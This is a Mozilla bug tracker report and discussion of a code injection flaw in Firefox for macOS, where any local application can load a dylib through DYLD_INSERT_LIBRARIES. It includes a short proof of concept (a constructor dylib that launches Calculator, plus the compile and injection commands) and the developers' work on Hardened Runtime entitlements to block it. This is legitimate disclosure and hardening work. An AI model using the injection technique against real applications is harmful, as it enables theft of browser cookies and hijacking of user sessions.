Open Bug 1562756 Opened 2 years ago Updated 12 days ago

Code Injection in Firefox macOS desktop client

Categories

(Core :: Security: Process Sandboxing, defect, P2)

defect

Tracking

()

ASSIGNED

People

(Reporter: wojciechregula, Assigned: haik)

References

(Depends on 2 open bugs)

Details

(Keywords: csectype-priv-escalation, sec-moderate, stalled)

Attachments

(1 file)

Attached image FirefoxPoC.png

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36

Steps to reproduce:

Vulnerability description

I've identified a code injection vulnerability in your macOS desktop client. Any malicious application, running with standard user permissions is able to exploit this vulnerability and execute code in your application's context.

Requirements

In order to exploit this vulnerability, a victim has to have a malicious application installed on the device.

Proof of Concept

To show you the impact I've prepared a proof of concept where malicious application without root permissions opens a calculator from Firefox's context.

1. Create a new dylib with following contents:

#include <Foundation/Foundation.h>

__attribute__((constructor)) static void pwn() {
       
   NSTask *task = [[NSTask alloc] init];
    task.launchPath = @"/Applications/Calculator.app/Contents/MacOS/Calculator";
    [task launch];
    
}

2. Compile it using gcc

gcc -dynamiclib malicious.m -o malicious.dylib -compatibility_version 10.10.10 -lobjc -framework Foundation

3. Inject to the Firefox binary

DYLD_INSERT_LIBRARIES=./malicious.dylib /Applications/Firefox.app/Contents/MacOS/firefox

4. Calculators should be run in Firefox's context (as I shown on the attached screenshot)

Actual results:

Impact

In the proof of concept I showed that any malicious application is able to execute code in Firefox's context. An attacker is able to steal browser cookies, sniff the traffic or perform actions on websites.

Expected results:

Recommendations

Assuming that the desktop client has been compiled using XCode, a developer needs to turn on "Hardened Runtime" capability making sure that Allow DYLD Environment Variables option is turned off. Another way to disallow the DYLD Environement variables is adding a _RESTRICTED segment to the application binary (this technique is used for example by Google Chrome).

References

Apple Docs - Hardened runtime entitlements
https://developer.apple.com/documentation/security/hardened_runtime_entitlements

Important notes

  • Physical access is not required to exploit this vulnerability.
  • Applications do not need root permission to open other applications with DYLD_INSERT_LIBRARIES environment variable - execve documentation.
Flags: sec-bounty?

Haik, from your newsgroup post about notarized builds, I'm assuming this is covered by the notarized builds work and is fixed in 69? Is that right, and if so, is there a more minimal fix we could apply to 68/esr ?

Group: firefox-core-security → dom-core-security
Component: Untriaged → Widget: Cocoa
Flags: needinfo?(haftandilian)
Product: Firefox → Core

(In reply to :Gijs (he/him) from comment #1)

Haik, from your newsgroup post about notarized builds, I'm assuming this is covered by the notarized builds work and is fixed in 69? Is that right, and if so, is there a more minimal fix we could apply to 68/esr ?

Hardened Runtime and Notarization are enabled together in 69, but we are allowing the dyld environment variable entitlement. I found that we depend on these variables (e.g., @executable_path). I don't know enough about these to say how difficult it would be to change that. I'll look into this some more.

Not to say this isn't something we should fix, but if an attacker can install a malicious dylib and control the launching of the browser, presumably they could instead install a malicious version of Firefox.

Our configuration for Hardened Runtime is here:
https://searchfox.org/mozilla-central/rev/8a990595ce6d5ed07ace2d4d5d86cc69aec90bde/security/mac/hardenedruntime/production.entitlements.xml

Flags: needinfo?(haftandilian)

We appreciate the bug report.

After looking into this some more, so far I can see that we depend on DYLD_INSERT_LIBRARIES and DYLD_LIBRARY_PATH. In order to set allow-dyld-environment-variables=false, we need to change that. When launching child processes, we use DYLD_INSERT_LIBRARIES[1] ourselves so that plugin child processes can load libplugin_child_interpose.dylib[2]. From the code comments, we always set it when launching a child process, but only need to use the interposer in plugin processes.

We might be able to link the parent process Firefox binary in a way that blocks DYLD_INSERT_LIBRARIES, but allow it for child processes where we can control how it is set. Some applications are using an undocumented __RESTRICT header in the binary to get dyld to ignore DYLD variables.

I was under the impression that allow-dyld-environment-variables=false also applies to the @variables listed in dyld(1), but that might be wrong. I will try to confirm that.

More investigation/testing needed.

  1. https://searchfox.org/mozilla-central/rev/8a990595ce6d5ed07ace2d4d5d86cc69aec90bde/ipc/glue/GeckoChildProcessHost.cpp#854
  2. https://searchfox.org/mozilla-central/rev/8a990595ce6d5ed07ace2d4d5d86cc69aec90bde/dom/plugins/ipc/interpose/plugin_child_interpose.mm
Assignee: nobody → haftandilian
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true

Hey!

Known security researcher wrote yesterday an article about injecting code using DYLD_INSERT_LIBRARIES. Maybe that article will be helpful to you in resolving this issue :-) - https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/

Cheers,

Component: Widget: Cocoa → Security: Process Sandboxing

(In reply to wojciechregula from comment #4)

Hey!

Known security researcher wrote yesterday an article about injecting code using DYLD_INSERT_LIBRARIES. Maybe that article will be helpful to you in resolving this issue :-) - https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/

Thanks, I'll give it a look. Addressing this is going to require some Firefox changes because Firefox specifically depends on using DYLD_INSERT_LIBRARIES in some cases. We also use it in some tests, but that shouldn't prevent us from rolling this out in production. We do want to address this, but we need to figure out the scope of the Firefox changes required and take into account the attack vector.

Once we change Firefox to not depend on DYLD_INSERT_LIBRARIES or any other DYLD environment variables, the simplest fix for us would be to set com.apple.security.cs.allow-dyld-environment-variables to false in our Hardened Runtime entitlement list (production.entitlements.xml in the source tree). At present, we enable macOS Hardened Runtime on Firefox 69 and later, and we plan to enable this on Firefox 68 soon.

Also, starting with macOS 10.15 and Firefox 69, the dylib should need to be signed by a valid Apple Developer ID identity in order for it to be loaded. @wojciechregula, please don't feel obligated, but could you try and reproduce this on a macOS 10.15 Beta using Firefox 69 or newer?

Flags: needinfo?(wojciechregula)

Unfortunately, I do not have a VM with macOS 10.15 to test that. But I can verify that on the newest macOS 10.14 with Firefox 69. ;-)

Flags: needinfo?(wojciechregula)

(In reply to wojciechregula from comment #6)

Unfortunately, I do not have a VM with macOS 10.15 to test that. But I can verify that on the newest macOS 10.14 with Firefox 69. ;-)

I tested on macOS 10.15 and after changing the test code to use the correct Calculator path[1] on 10.15, the dylib still loads via DYLD_INSERT_LIBRARIES despite it not being signed. That need some more investigation.

  1. On 10.15, Calculator has been moved to /System/Applications.

(In reply to Haik Aftandilian [:haik] from comment #7)

I tested on macOS 10.15 and after changing the test code to use the correct Calculator path[1] on 10.15, the dylib still loads via DYLD_INSERT_LIBRARIES despite it not being signed. That need some more investigation.

Where did you find the information that, in the macOS 10.15, the injected dylibs have to be signed with a valid Developer ID? I only found info that the new checks will be performed on the first use when the app is quarantined. - https://developer.apple.com/videos/play/wwdc2019/701/

I took a screenshot of the new checks - https://i.imgur.com/PliPBFg.png

Did I miss something?

(In reply to wojciechregula from comment #8)

(In reply to Haik Aftandilian [:haik] from comment #7)

I tested on macOS 10.15 and after changing the test code to use the correct Calculator path[1] on 10.15, the dylib still loads via DYLD_INSERT_LIBRARIES despite it not being signed. That need some more investigation.

Where did you find the information that, in the macOS 10.15, the injected dylibs have to be signed with a valid Developer ID? I only found info that the new checks will be performed on the first use when the app is quarantined. - https://developer.apple.com/videos/play/wwdc2019/701/

I took a screenshot of the new checks - https://i.imgur.com/PliPBFg.png

Did I miss something?

I'm referring to Hardened Runtime restrictions on loading shared libraries. The documentation doesn't talk about injected dylibs specifically, but I was assuming the restrictions would apply to DYLD_INSERT_LIBRARIES. I don't know if Hardened Runtime is intended to prevent that or not. That's something we need to investigate.

As of 10.15, Hardened Runtime restrictions are enforced and an application signed with the "-o runtime" flag (or if its enabled with Xcode) can only load libraries signed by the same team ID as the application. The com.apple.security.cs.disable-library-validation entitlement can be used to allow the application to load dylibs signed by other developers, but they do have to be signed.

On 10.15, applications are required to be notarized in order to launch (ignoring workarounds) and notarization is only allowed on apps with hardened runtime enabled.

On the blog post you referenced on comment 4, the author wrote they couldn't use DYLD_INSERT_LIBRARIES once they enabled hardened runtime until they signed the dylib. The error message they included has "Code has to be at least ad-hoc signed."

I tested a basic app built with Xcode 10.2.1 on 10.15 Beta 4 (19A512f) with Hardened Runtime enabled (allowing dyld variables) and I could also load an unsigned shared library using DYLD_INSERT_LIBRARIES. That behavior is consistent with what we see with Firefox on 10.15.

However, with Xcode 11.0 beta 2 (11m337n) running on 10.15 Beta 4 (19A512f), with the same test program, using DYLD_INSERT_LIBRARIES with an unsigned shared library fails. That triggers the "Code has to be at least ad-hoc signed" error message. After signing the dylib, DYLD_INSERT_LIBRARIES worked.

We might just need to use a newer codesign command to get this benefit. And this might be documented somewhere in the WWDC 2019 presentations. More investigation needed and it should eventually be its own bug.

On 10.15, applications are required to be notarized in order to launch (ignoring workarounds) and notarization is only allowed on apps with hardened runtime enabled.

OK, you are right - I missed that ;-) Hardened runtime without com.apple.security.cs.disable-library-validation will force the valid Developer ID.

We might just need to use a newer codesign command to get this benefit. And this might be documented somewhere in the WWDC 2019 presentations. More investigation needed and it should eventually be its own bug.

That's interesting!

Priority: -- → P2

Apple recently changed the definition of com.apple.security.cs.disable-library-validation so that it matches the behavior we observed on Mojave. And I believe the more strict behavior of Catalina Beta was changed to match the new less strict definition in Beta 4. See bug 1570840 for more information.

Once bug 1570840 lands, it should not be possible to use DYLD_INSERT_LIBRARIES to inject an unsigned library. Update: We can't set com.apple.security.cs.disable-library-validation=false because we still need to load libraries signed by different Apple developer team ID's. More details on the bug.

We should still work to prevent using DYLD_INSERT_LIBRARIES to inject signed libraries. We need to make the necessary Firefox changes so that we can set the com.apple.security.cs.allow-dyld-environment-variables entitlement to false (at least on production builds).

See Also: → 1570840

FYI - I've just confirmed that the newest Firefox 68.0.2esr has the Hardened Runtime capability turned on (flags=0x10000(runtime)).

$ codesign -d --verbose /Volumes/Firefox/Firefox.app/Contents/MacOS/firefox
Executable=/Volumes/Firefox/Firefox.app/Contents/MacOS/firefox
Identifier=org.mozilla.firefox
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20500 size=415 flags=0x10000(runtime) hashes=4+5 location=embedded
Signature size=9019
Timestamp=13 Aug 2019 at 19:14:23
Info.plist entries=26
TeamIdentifier=43AQ936H96
Runtime Version=10.11.0
Sealed Resources version=2 rules=13 files=95
Internal requirements count=1 size=188
See Also: → 1575726
Depends on: 1575726
See Also: 1575726

Hey,

Any news? :-)

Not much to update at this time.

We should be able to set com.apple.security.cs.allow-dyld-environment-variables=false and possibly com.apple.security.cs.disable-library-validation=false for the parent process, but not child processes. This should be easy to test and I'll update the bug once I have some results. I originally thought hardened runtime entitlements were inherited by child processes (testing done with 10.14 suggested that), but that's incorrect. Sometimes parent process entitlements can affect child capabilities, but, from what I understand, only when the TCC subsystem is trying to decide if an operation is permitted and ends up falling back to the parent process's entitlements.

For child processes, we use one plugin-container executable for all child process types so we can't use disable-library-validation=false or allow-dyld-environment-variables=false yet. Once we remove Flash support from the tree, we can stop using the Mac interpose library we use and start using allow-dyld-environment-variables=false. If we used different binaries for different child process types, we could use different entitlements and therefore use library validation. I will file a bug to use different plugin-container binaries for different child process types (web content, plugin) so we can set disable-library-validation=false for web content.

I've done some testing with using separate entitlements for the parent process and plugin-container process. Setting com.apple.security.cs.allow-dyld-environment-variables=false for the parent process works as expected and DYLD_INSERT_LIBRARIES can not be used to inject a dylib. This only works if com.apple.security.get-task-allow=false which is what we use for production. get-task-allow is intended to be used for debugging.

Landing this depends on bug 1593072 to update the build automation to support separate entitlement files.

Depends on: 1593072
No longer depends on: 1575726
See Also: → 1606464
Depends on: 1606778
Duplicate of this bug: 1606464

Like with bug 1606464, this bug does not need to remain private. Yes it's possible to load an unsigned shared library if you have remote-code-execution or if you can launch Firefox with DYLD_INSERT_LIBRARIES on the target system, but this was typical of all apps prior to Mojave when these hardening entitlements were introduced for app use.

For tracking purposes, we have meta bug 1606778 which covers the work required to block loading of libraries not signed by Mozilla or Apple and to block the use of DYLD_INSERT_LIBRARIES in the parent process. To extend that work to content processes, we depend on bug 1593389.

Group: dom-core-security
Flags: sec-bounty? → sec-bounty-
Depends on: 1697471
Duplicate of this bug: 1697471
Keywords: stalled
You need to log in before you can comment on or make changes to this bug.